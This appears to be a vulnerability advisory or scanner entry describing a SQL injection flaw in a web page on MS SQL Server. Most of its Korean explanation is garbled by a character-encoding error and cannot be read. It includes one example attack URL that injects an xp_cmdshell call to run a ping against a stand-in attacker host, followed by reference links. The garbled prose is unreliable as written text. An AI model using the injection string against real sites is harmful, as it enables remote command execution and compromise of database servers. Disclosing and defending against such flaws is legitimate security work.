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22052 |
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40 |
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WWW |
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ÇØ´ç À¥¼¹öÀÇ ¸í±âµÈ À¥ ÆäÀÌÁö´Â SQL injection °ø°Ýµé¿¡ Ãë¾àÇÏ´Ù. ÇØ´ç À¥ ÆäÀÌÁö´Â SQL ¹®À» Àü´ÞÇϱâ Àü¿¡ »ç¿ëÀÚ ÀÔ·Â °ªµéÀ» °ËÁõÇÏÁö ¾Ê´Â´Ù. °ø°ÝÀÚ´Â ÀÚ½ÅÀÇ SQL ¸í·ÉµéÀ» ¸¸µé¾î À¥¼¹ö¿¡ ¿¬°áµÈ µ¥ÀÌÅͺ£À̽º·Î º¸³» µ¥ÀÌÅͺ£À̽º ¿£Æ®¸®µé¿¡ ´ëÇØ Àбâ, ¼öÁ¤, »ý¼º, »èÁ¦ µîÀÇ ÇàÀ§¸¦ Çà»çÇÒ ¼ö ÀÖ´Ù. SQL ¹®À» inject(»ðÀÔ) ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀº °ø°ÝÀÚ°¡ ¶æ´ë·Î ÀÓÀÇÀÇ SQL ¹®À» ¼öÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. MS SQL ¼¹ö´Â µðÆúÆ®·Î SYSTEM ±ÇÇÑÀ¸·Î ¼öÇàµÇ´Âµ¥ ÀÌ´Â À©µµ¿ìÁî¿¡¼ AdministratorÀÇ ±ÇÇÑ°ú °°´Ù. °ø°ÝÀÚ´Â master..xp_cmdshell°ú °°Àº stored procedureµéÀ» »ç¿ëÇÏ¿© ´ÙÀ½°ú °°ÀÌ ¿ø°ÝÁö¿¡¼ ÀÓÀÇÀÇ ¸í·ÉÀ» ¼öÇà½Ãų ¼ö ÀÖ´Ù:
http://[www.target.com]/vulnerable.asp?id=10'; exec master..xp_cmdshell 'ping www.attacker.com'--
* Âü°í »çÀÌÆ®: http://www.unixwiz.net/techtips/sql-injection.html http://www.tech-faq.com/sql-injection-attack.shtml http://www.cgisecurity.com/development/sql.shtml http://www.securiteam.com/securityreviews/5DP0N1P76E.html http://www.iss.net/security_center/static/8783.php
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